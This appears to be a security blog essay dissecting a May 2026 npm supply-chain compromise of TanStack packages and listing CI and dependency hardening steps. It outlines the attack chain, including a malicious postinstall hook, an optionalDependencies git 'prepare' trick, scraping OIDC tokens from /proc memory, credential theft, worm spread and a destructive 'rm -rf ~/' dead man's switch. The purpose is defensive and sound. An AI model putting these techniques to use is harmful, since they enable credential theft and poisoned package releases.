โ ESSAY
pull_request_target
pull_request_target safely
If the React2Shell incident in React/Next.js last December1 was about "an RCE in a framework's bundled internal dependency", this one is a step further. There was nothing wrong with the code itself. The problem was in the workflow that built and published that code to npm.
On May 11, 2026, 42 packages under the @tanstack/* namespace were taken over and published to the npm registry with malicious code embedded. Core packages such as @tanstack/history, @tanstack/react-router, and @tanstack/react-start were all included. Thankfully, an external security researcher caught it within about 26 minutes of publishing and opened an issue. The TanStack team quickly deprecated the bad versions, which kept the impact limited.
What is interesting is how the attack was carried out. The attacker did not merge a single line of code into the main branch. They simply opened a PR and force-pushed a few times. That alone poisoned the GitHub Actions cache, and days later that cache was automatically restored during a normal release workflow run. And that release workflow held the npm OIDC trusted publisher permission.
This post walks through the TanStack incident to answer the following questions.
pull_request_target exist, and why is it so dangerous?First, the sequence of events. This is based on the TanStack postmortem2 and GitHub issue #73833.
| Time (UTC) | Event |
|---|---|
| 5/10 17:16 | Attacker created the zblgg/configuration fork (original is TanStack/router; the actual fork has been deleted and jonchurch preserved a copy) |
| 5/10 23:29 | Malicious commit (author identity spoofed as claude <claude@users.noreply.github.com>. The payload is hidden at the tail of a ~29,000-line file, disguised as a legitimate npm package bundle.) |
The attacker forged the commit identity to look like Claude. The likely intent was to make it look like an AI tool generated the commit and reduce suspicion. The fork was also renamed to configuration, a bland name that makes it look like a routine config PR.
| Time (UTC) | Event |
|---|---|
| 5/11 10:49 | Opened PR #7378 "WIP: simplify history build" |
| 5/11 11:01 - 11:11 | Multiple force-pushes triggered bundle-size.yml (the pull_request_target workflow) repeatedly |
| 5/11 11:29 | A 1.1GB poisoned pnpm store was saved to the GitHub Actions cache |
This phase is the core of the incident. The attacker never tried to merge the PR. They just opened it and force-pushed repeatedly. We will get to how that turns into an attack later in the post.
| Time (UTC) | Event |
|---|---|
| 5/11 19:15:44 | 4th attempt of the release workflow ran โ the poisoned cache was restored |
| 5/11 19:20:39 | First publish batch: @tanstack/history@1.161.9 and 13 other packages (14 of 42 total) |
| 5/11 19:26:14 | Second batch: @tanstack/history@1.161.12 and others |
A TanStack maintainer merged to main as usual and the release workflow ran. It restored the cache keyed Linux-pnpm-store-${hashFiles('**/pnpm-lock.yaml')} โ and that cache had already been poisoned eight hours earlier. Malicious dependencies were installed from the poisoned pnpm store, and every build artifact was published to npm with a backdoor inside.
| Time (UTC) | Event |
|---|---|
| 5/11 19:46 | StepSecurity security researcher ashishkurmi opened issue #7383 (~26 minutes after publish) |
| ~5/11 19:50 | External researcher carlini posted a detailed payload analysis comment |
| 5/11 20:19 | First two versions deprecated |
| 5/11 21:03 | All 84 versions (42 packages ร 2 versions) deprecated |
| 5/11 22:13 - 23:55 | npm removed the tarballs from the server |
| Post-incident | Socket's tracker for the worm โ spread to 200+ packages |
Detection was fast, but the TanStack team did not catch it themselves โ an external researcher did. The postmortem acknowledges this explicitly.
pull_request_targetTo understand this incident, you have to understand the pull_request_target GitHub Actions trigger. What it is, how it differs from pull_request, and why it exists.
pull_request vs pull_request_targetGitHub Actions has two PR-related triggers.
pull_request
on:
pull_request:
branches: [main]
Runs when a PR is opened or updated. Key characteristics:
GITHUB_TOKEN has read-only permissionsIn other words, no matter how malicious a fork PR's code is, it runs with almost no permissions. It cannot read secrets and cannot modify the base repo.
pull_request_target
on:
pull_request_target:
branches: [main]
Same PR event, but it behaves very differently.
GITHUB_TOKEN has write permissionspull_request_target existsThe reason it was created is reasonable. Consider these scenarios.
All of these need write permission against the base repo. Commenting or labeling requires write access to the GitHub API. The plain pull_request trigger cannot do this.
GitHub introduced pull_request_target to solve this4. The core design idea is:
"Do not run the PR's code. Run only the target branch's (i.e., the trusted base branch's) code."
If that design is followed, it is safe. The external PR's code never runs. Only the PR's metadata (number, author, list of changed files, etc.) is passed to the base repo's trusted scripts.
The problem is that many workflows violate this design principle. Look at the TanStack workflow (bundle-size.yml).
on:
pull_request_target:
paths: ['packages/**', 'benchmarks/**']
jobs:
benchmark-pr:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6.0.2
with:
ref: refs/pull/${{ github.event.pull_request.number }}/merge
- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v6
with:
cache: 'pnpm'
- run: pnpm install
- run: pnpm nx run @benchmarks/bundle-size:build
Despite being a pull_request_target trigger, the actions/checkout step checks out the PR's merge ref (refs/pull/${{ github.event.pull_request.number }}/merge). That is intentionally pulling in the PR's code.
Then it runs pnpm install. What if the PR modified package.json? Added a postinstall script? pnpm install will run it just the same.
This is the "Pwn Request" pattern: running the PR's code (i.e., attacker code) with the permissions of pull_request_target โ secrets, write access, cache writes.
"Pwn Request" is the security community's nickname for this pattern. It has been known since 2021, and five years later it is still being found in major open source projects5.
Here is how an attacker exploits this pattern step by step.
Step 1: Find a vulnerable workflow
The attacker searches GitHub or uses static analysis to find repos with:
on: pull_request_target triggerpnpm install, npm install, yarn installIf all three are present, a "Pwn Request" is possible.
Step 2: Build the payload
The attacker creates a fork and plants a payload. The most common trick is to modify scripts.postinstall or scripts.prepare in package.json.
{
"scripts": {
"postinstall": "node ./malicious_script.js"
}
}
When pnpm install runs, this script runs automatically. At that point the attacker has the base repo's secrets, GITHUB_TOKEN, and cache write permissions all in hand.
Step 3: Bypass first-time contributor approval
GitHub has a setting called "Require approval for first-time contributors". A first-time contributor's workflows do not run until a maintainer approves them. Doesn't that stop this attack?
No. pull_request_target is an exception to that gate. Because the base repo's workflow file is being run (not the PR's workflow), GitHub considers this a "trusted" execution.
So even if the attacker is a first-time contributor, the pull_request_target workflow runs immediately. No maintainer approval needed.
Apply the pattern to the TanStack workflow:
on:
pull_request_target:
paths: ['packages/**', 'benchmarks/**']
jobs:
benchmark-pr:
steps:
- uses: actions/checkout@v6.0.2
with:
ref: refs/pull/${{ github.event.pull_request.number }}/merge
- uses: actions/setup-node@v6
with:
cache: 'pnpm' # <-- enables cache writes
- run: pnpm install # <-- this is where the PR's postinstall can run
- run: pnpm nx run @benchmarks/bundle-size:build
The PR likely included:
pnpm-lock.yaml (to influence the cache key, or to add a malicious dependency)postinstall or a build scriptAnd the force-pushes? The cache: 'pnpm' option on actions/setup-node@v6 only saves the cache when the workflow succeeds. So the payload has to run and the build has to succeed. The attacker tried four times to make the build succeed, and on the last try a 1.1GB poisoned pnpm store landed in the cache.
Now the central question. Why does a cache saved by a PR workflow get used by the main branch's release workflow?
Look at how the GitHub Actions cache is designed.
The cache works under these rules.
actions/setup-node auto-generates something like Linux-pnpm-store-${hashFiles('pnpm-lock.yaml')})The key point is that the pull_request_target trigger runs in the base branch's context. A regular pull_request trigger runs in the PR's refs/pull/N/merge context, so any cache it writes is trapped inside that PR. main cannot restore it.
pull_request_target is different. Its workflow runs in the main (default branch) context. Any cache it writes therefore goes directly into main's cache scope. The next main branch workflow (say, release.yml) finds the same key and restores it.
So pull_request_target has cache write permission and that write lands in the default branch's scope. If the workflow runs the PR's code, the attacker can poison the main branch's cache at will.
permissions: contents: read does not stop itThe TanStack workflow had this restriction:
permissions:
contents: read
You might think: "no write permissions, so it's safe, right?" But this setting only controls permissions on GitHub API calls. That is, it blocks pushing to the repo or commenting on issues with the GITHUB_TOKEN.
Cache writes do not use GITHUB_TOKEN. They use a separate token internal to the GitHub Actions runner. permissions: contents: read does not block cache writes at all.
This is one of the less-known traps. Many maintainers assume that restricting permissions makes things safe, but the cache is outside that protection.
The TanStack release workflow probably looked something like this:
on:
push:
branches: [main]
jobs:
release:
permissions:
contents: write
id-token: write # <-- for npm OIDC trusted publisher
steps:
- uses: actions/checkout@v6.0.2
- uses: actions/setup-node@v6
with:
cache: 'pnpm' # <-- this restores the cache the PR poisoned
- run: pnpm install
- run: pnpm publish -r
When a merge lands on main, this workflow runs. actions/setup-node's cache: 'pnpm' automatically restores any cache matching the key. And that key โ Linux-pnpm-store-${hashFiles('pnpm-lock.yaml')} โ can match exactly the key the PR produced.
If the attacker keeps pnpm-lock.yaml identical to main's, the keys match. pnpm install pulls dependencies from the poisoned store. The release build itself is now compromised.
npm recently introduced "trusted publishers". Before, publishing to npm required storing an NPM_TOKEN as a secret. If the token leaked, anyone could publish, which was dangerous.
Trusted publisher uses OIDC. The flow is:
id-token: write permissionIn theory it is much safer. There is no permanent token, so nothing to leak. The token is handled only between the npm CLI and GitHub OIDC.
So how did this attacker still succeed?
The attacker's payload did not stop at poisoning dependencies. When the release workflow ran, it extracted the OIDC token directly from the runner process memory.
/proc/*/cmdline โ identify the Runner.Worker process
/proc/<pid>/maps โ read the memory map
/proc/<pid>/mem โ dump memory
On Linux, the /proc virtual filesystem lets a process read another process's memory if they share the same user. The runner process keeps the OIDC token in memory; a regex over the dump is enough to lift it.
After lifting the token, the attacker bypassed the workflow's publish step and sent a POST request directly to registry.npmjs.org. That lets them publish any payload under any version they want.
This technique is not new. The TanStack postmortem points out2 that it reused almost the exact same Python script from the March 2025 tj-actions/changed-files incident6.
Is trusted publisher useless then? Not at all. But it rests on the precondition that the build workflow itself is trustworthy. If the build workflow gets compromised, the OIDC token can be used for anything.
This attack did not bypass trusted publisher itself. It bypassed it by destroying the workflow's trustworthiness. If arbitrary code execution is possible during the build, that code inherits the publish permission as-is.
How did the payload baked into the compromised packages actually work? From the public analyses combined:
The compromised package's package.json had this added:
{
"name": "@tanstack/history",
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
}
Here is what happens during npm install:
@tanstack/setup as a git dependency and checks out the given commit on the tanstack/router repo79ac49ee is an orphan commit (a floating commit not attached to any branch), so it is not visible in normal browsingpackage.json has a prepare script{
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
}
}
The trick is clean.
bun run tanstack_runner.js runs the payload&& exit 1 makes it fail intentionallyoptionalDependencies entry, npm install still succeeds when it failsFrom the user's perspective, this is a plain npm install. No errors. But in the background, tanstack_runner.js has already run.
router_init.js (a ~2.3MB obfuscated payload) goes after a wide set of credentials:
~/.npmrcgh) tokens~/.git-credentials~/.ssh/)What matters is that it targeted not only CI but also developer laptops. The moment a developer runs pnpm install or npm install, their credentials are at risk.
Traditional supply chain attacks usually exfiltrate to an attacker-run C2 (Command & Control) server. That can be traced; you can just block the domain.
This attack used the Session/Oxen messenger network. Session is an end-to-end encrypted anonymous messenger backed by a distributed node network. The payload used these endpoints:
filev2.getsession.orgseed1.getsession.org, seed2.getsession.org, seed3.getsession.orgBlocking these is hard because they belong to a legitimate messenger service. Blocking the domain also blocks regular messenger users. And the attacker does not need to run any server of their own, so there is no infrastructure cost.
The most interesting part of this payload is the self-propagation mechanism. The payload spreads like a worm:
registry.npmjs.org/-/v1/search?text=maintainer:<username>So if one maintainer is compromised, every package they maintain is poisoned in one move. The Socket security team tracked the worm spreading to more than 200 other packages7.
The payload is not one-shot reconnaissance. It tries to live on the system permanently.
Linux
~/.local/bin/gh-token-monitor.shmacOS
com.user.gh-token-monitor as a LaunchAgentThe monitor script is interesting. Every 60 seconds it calls api.github.com/user with the stolen GitHub token. If the response is 40x (i.e., the token was revoked), it runs a preconfigured handler. The decoded script published in the issue shows the handler is a destructive command like rm -rf ~/.
It is essentially a "dead man's switch". The moment the victim revokes the token, retaliation triggers. This makes incident response harder. You cannot just invalidate the token. You first have to remove every trace of the payload, isolate the system, and only then deal with the token.
The script also has a 24-hour TTL, so it removes itself after running too long. The intent is to leave fewer traces.
Here are the check commands collected in the comments on GitHub issue #73833. If you installed any of the affected packages around May 11, run these:
find ~ -path '*/.claude/setup.mjs' -o -path '*/.vscode/setup.mjs'
find ~/.config -name '*gh-token-monitor*'
find ~/.local/bin -name 'gh-token-monitor.sh'
find /tmp -name 'tmp.ts018051808.lock'
ps aux | grep -E 'tanstack_runner|router_runtime|gh-token-monitor|bun'
If any of these returns a match, treat the host as compromised. Isolate it, rotate every credential, and consider rebuilding the system.
This was not a single vulnerability. It was a chain of three weaknesses coming together. The postmortem makes the same point. Each weakness on its own is not enough to be dangerous, but the combination is fatal.
How each step becomes the precondition for the next:
| Step | Weakness | On its own |
|---|---|---|
| 1 | pull_request_target runs PR code | Reaches cache poison |
| 2 | PR workflow can write to base cache | Can poison release |
| 3 | Release workflow trusts the cache uncritically | Arbitrary code in build runtime |
| 4 | OIDC token extracted from runner process memory | Hijacks npm publish |
If any one of these had been broken, the attack would have failed.
pull_request_target, do not run the PR's codepull_request_target write to main's cache scope (or do not let release use the cache)id-token: write permissionYou can mitigate at any step in this chain. Let's go through them.
pull_request_target safelyThe safest move is to not use pull_request_target at all. But if you need to comment on or label external PRs, you have to. Here are the rules.
This is the most important one. The original design of pull_request_target is "use only the PR's metadata".
โ Bad: checking out the PR merge ref
on: pull_request_target
jobs:
bad:
steps:
- uses: actions/checkout@v6
with:
ref: refs/pull/${{ github.event.pull_request.number }}/merge
- run: pnpm install
โ Good: labeling/commenting only
on: pull_request_target
jobs:
good:
permissions:
pull-requests: write
steps:
- uses: actions/labeler@v5
If you need to benchmark external PRs, split the permissions clearly.
on:
pull_request_target:
paths: ['packages/**']
jobs:
build:
permissions:
contents: read # minimum privilege
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
with:
ref: refs/pull/${{ github.event.pull_request.number }}/merge
persist-credentials: false # do not write GITHUB_TOKEN into git config
- run: pnpm install --ignore-scripts # block postinstall
- run: pnpm build
- uses: actions/upload-artifact@v4
with:
name: pr-build
path: dist/
comment:
needs: build
permissions:
pull-requests: write # commenting only here
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
with:
name: pr-build
- run: |
# Do not run the PR's code here (just read the artifact)
node ./scripts/analyze-bundle.js
Split the job that runs the PR's code from the job that comments on the PR. The latter never runs PR code.
repository_owner guardpull_request_target runs even from forks. If you do not want workflows running on forks of your repo, add this guard:
jobs:
build:
if: github.event.pull_request.head.repo.owner.login == github.repository_owner
Or restrict to org members only:
if: contains(fromJson('["MAINTAINER1", "MAINTAINER2"]'), github.event.pull_request.user.login)
This will not work for open source projects accepting external contributions. In that case, separate the permissions so external PRs can be built but never run privileged steps.
The most common pattern is for the PR to run arbitrary code via postinstall. Good news: starting from pnpm v10, dependency lifecycle scripts do not run by default. Only packages on the explicit onlyBuiltDependencies allowlist can run scripts.
For npm/yarn, or pnpm before v10, you have to add --ignore-scripts yourself.
- run: npm ci --ignore-scripts
This is not a silver bullet. Even after install, build scripts run and can execute arbitrary code there too. For instance, the PR can modify vite.config.ts so the payload runs during the build. Remember that the build itself is arbitrary code execution.
Cache poisoning was the core of this attack. But there is a subtlety. The GitHub Actions cache security boundary is the branch (ref), not the key prefix. Once a cache is in a branch's scope, it does not matter how different the key prefix is โ it is not isolated. If pull_request_target runs in the main context, the cache it produces is part of main's scope regardless of the key name.
So splitting "the PR cache key" and "the release cache key" by prefix does nothing. The only reliable approach is to not use a cache in the release workflow.
The most reliable approach is to not use a cache in the release workflow at all.
- uses: actions/setup-node@v6
with:
node-version: '24'
# no cache option
- run: pnpm install --frozen-lockfile
Builds become a bit slower, but releases do not happen often, so the cost is small. On the security-vs-speed tradeoff, the release is exactly where you want to pick security.
pnpm install --frozen-lockfile fails if any dependency differs from what is in the lockfile. Unless a PR can modify the lockfile, only valid dependencies are installed. Always use --frozen-lockfile for releases.
Another weakness in the TanStack workflow was referencing third-party actions by floating refs.
- uses: actions/checkout@v6.0.2
- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v6
Tags like @v6.0.2 or @v4 are not commit SHAs. The action's maintainer can move the same tag to a different SHA. In other words, if the action's maintainer is compromised, so are you.
The March 2025 tj-actions/changed-files incident was exactly this scenario6. The action maintainer's token was stolen, the tag was moved to a malicious SHA, and every repo using it was compromised at the same time.
The recommended pattern is SHA pinning:
# Floating tag (risky)
- uses: actions/checkout@v6.0.2
# SHA-pinned (safe)
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v6.0.2
A comment keeps readability. Dependabot updates the SHA automatically, so the operational overhead is small.
This applies even to GitHub-verified actions. Official actions like actions/checkout are just as risky if the maintainer account is compromised.
The OIDC token being extracted from memory is striking, but trusted publisher itself can carry additional guards.
npm trusted publisher verifies the following:
.github/workflows/release.yml)The most important guard is the GitHub Environment. Create an environment for releases and attach protection rules โ then publishing can require manual approval.
jobs:
publish:
environment: production-release # <-- environment with protection rules
permissions:
id-token: write
steps:
- run: pnpm publish -r
Then in the GitHub UI, configure production-release to require:
With this, automated publish is blocked. Someone has to approve manually before an OIDC token can be issued. You give up some automation convenience, but you get another defense layer against supply chain attacks.
npm offers options like "Require 2FA for publishing", but the trap is that these do not apply when using OIDC trusted publisher. The TanStack postmortem points this out:
"No per-publish review mechanism existed for OIDC trusted publisher."
Current npm policy gives no additional verification once trusted publisher is trusted. You have to build that yourself with environment protections.
There are tools that automatically flag security issues in GitHub Actions workflows. Several were recommended in the issue comments.
zizmor is a Rust-based static analysis tool for GitHub Actions. It catches pull_request_target misuse, unsafe action usage, secret exposure patterns, and more.
zizmor .github/workflows/
You can integrate it into CI and run it on every workflow change.
StepSecurity analyzes workflows and opens PRs with recommended changes automatically. It applies action SHA pinning, permission minimization, cache separation, and more in one shot.
It is interesting that the person who first detected this incident was a StepSecurity employee. They probably found the cache poisoning pattern while monitoring with their own tool.
GitHub has been strengthening workflow security features.
Many repos still have these off. They are free, so just turn them on.
Everything above was from the maintainer's perspective. What about the perspective of someone using the library? For the many projects that depend on TanStack.
The most effective defense is to not install newly published versions immediately. Wait a few days, and external researchers will catch and deprecate malicious packages. This TanStack incident was detected in about 30 minutes and removed from npm in 4.5 hours.
pnpm can automate this via minimumReleaseAge:
minimumReleaseAge=4320 # in minutes, i.e., 3 days
With this, any version less than 3 days old is ignored. It is an automatic quarantine against 0-day supply chain attacks like this one.
npm itself does not have this feature, but you can apply a similar policy through tools like socket.dev.
postinstall scripts are a primary entry point for supply chain attacks. The good news is that from pnpm v10, dependency lifecycle scripts do not run by default. Only explicitly allowed packages can run scripts.
{
"pnpm": {
"onlyBuiltDependencies": ["esbuild", "@swc/core"]
}
}
Only the listed packages can run install scripts. Everything else is ignored. For pre-v10 pnpm, or npm/yarn, you have to add --ignore-scripts in CI explicitly.
- run: npm ci --ignore-scripts
The TanStack incident shows there are workarounds (the optionalDependencies + git URL + prepare trick), so keep the onlyBuiltDependencies list as small as possible.
pnpm install --frozen-lockfile or npm ci fail if anything differs from the lockfile. Enforce this in CI and dependencies cannot change without a lockfile update. Any lockfile change in a PR has to be reviewed by a human.
Do not expose secrets during the npm install step in CI. Split build/test and deploy into separate steps, and inject required secrets only in the deploy step.
jobs:
test:
permissions:
contents: read
steps:
- run: pnpm install
- run: pnpm test
# no secrets here
deploy:
needs: test
permissions:
contents: read
id-token: write # only in the deploy step
steps:
- run: ./deploy.sh
This way, even if a dependency has a payload, it cannot steal secrets.
Tools like socket.dev, Snyk, and GitHub Dependabot analyze the dependency tree and block known malicious packages. They are limited for 0-day attacks, but useful for post-incident detection.
socket.dev in particular uses static analysis to flag "suspicious packages" themselves. If a newly published version suddenly imports child_process or starts making network calls, it tells you.
As you can probably tell by now, this incident is not the TanStack team's fault. At least not alone. The pattern they used is the same pattern many open source projects use. Commenting benchmarks on external PRs via pull_request_target is a common design โ you have to build external PRs for a good contributor experience.
The real problem is the GitHub Actions design itself. It makes these anti-patterns far too easy.
pull_request_target gives no hint that this is dangerousactions/checkout checks out a fork PR by default (no warning)permissions: contents: read does not block cache writes?In a system with this many traps, simply saying "maintainers should be more careful" is just shifting the blame. The default GitHub Actions design has to move in a safer direction. For instance: when a pull_request_target workflow checks out the PR ref, the GitHub UI should show a big red warning. Cache keys should be automatically scoped per trigger type.
That said, "wait for GitHub to fix it" is not an option for maintainers. You have to audit your workflows now and apply SHA pinning, cache separation, and environment protections. For consumers: apply dependency cooldown and block lifecycle scripts (use pnpm v10+ or --ignore-scripts).
If the previous React/Next.js incident1 was "I don't know what code is in my app", this one is the deeper problem of "I don't know how the code in my app was built". Both are blind spots created by the complexity of the modern frontend ecosystem.
We got lucky: the attacker broke tests and a researcher caught it fast. If the attacker had been quieter, if the package had been more popular, if the maintainer had been on vacation, the damage would have been much worse. We should not count on that kind of luck next time.
We are in the era where the CI/CD pipeline itself is an attack surface. Safe code is not enough. Every step that compiles, packages, and publishes the code has to be trustworthy. And if any single link in that trust chain breaks, the result is untrustworthy.
Open your repo's workflows right now. Search for pull_request_target and check if it runs PR code. Check whether actions are referenced by floating tags. Check whether the release workflow uses the cache. Check whether environment protection rules are in place. Applying the lessons of this incident to your repo takes less than an hour. That hour is well spent if it avoids the next attack.
You still have things to do even if you are not a maintainer and just consume npm packages. Honestly, this is the more realistic perspective. You cannot control every dependency's workflows, so you have to defend on the assumption that maintainers will get compromised.
Checklist:
minimumReleaseAge=4320 (3 days) to .npmrc โ auto-quarantine newly published versions. For an incident that gets detected in 30 minutes, this is decisive.onlyBuiltDependencies minimal.--frozen-lockfile in CI โ lockfile changes must be reviewed by humans.Just the first one (minimumReleaseAge) would have fully defended against the TanStack attack. It takes less than a minute to add one line.
These things will keep happening. It is annoying, but think of it as the cost of using open source for free. Pulling in someone else's code means inheriting that someone's security posture (and their CI pipeline, their laptop, their npm account). So spend a few hours a year on dependency management.
Why do I have to upgrade Next.js for a React vulnerability? โ Analysis of December 2025 React2Shell (CVE-2025-55182). Covers the blind spot created by framework bundling. โฉ โฉ2
TanStack: NPM Supply Chain Compromise Postmortem โ Incident timeline, cache poisoning and OIDC memory extraction analysis, and the response in full. โฉ โฉ2
GitHub Issue: TanStack/router#7383 โ The discovery issue. Carlini's detailed payload analysis, infection check commands, and the decoded dead man's switch are in the comments. โฉ โฉ2
GitHub Docs: pull_request_target โ Official documentation of the pull_request_target trigger. Specifies base branch context execution and the permission model. โฉ
GitHub Actions is the Weakest Link (Nesbitt) โ Summary of the Pwn Request pattern and GitHub Actions design traps. Good background reading for this incident. โฉ
Wiz: GitHub Action tj-actions/changed-files supply chain attack (CVE-2025-30066) โ March 2025 incident. Used the same Python script for OIDC memory extraction. โฉ โฉ2
Socket: Mini Shai-Hulud Supply Chain Attack Tracker โ Tracking the TanStack worm spread. PURL list of 200+ packages. โฉ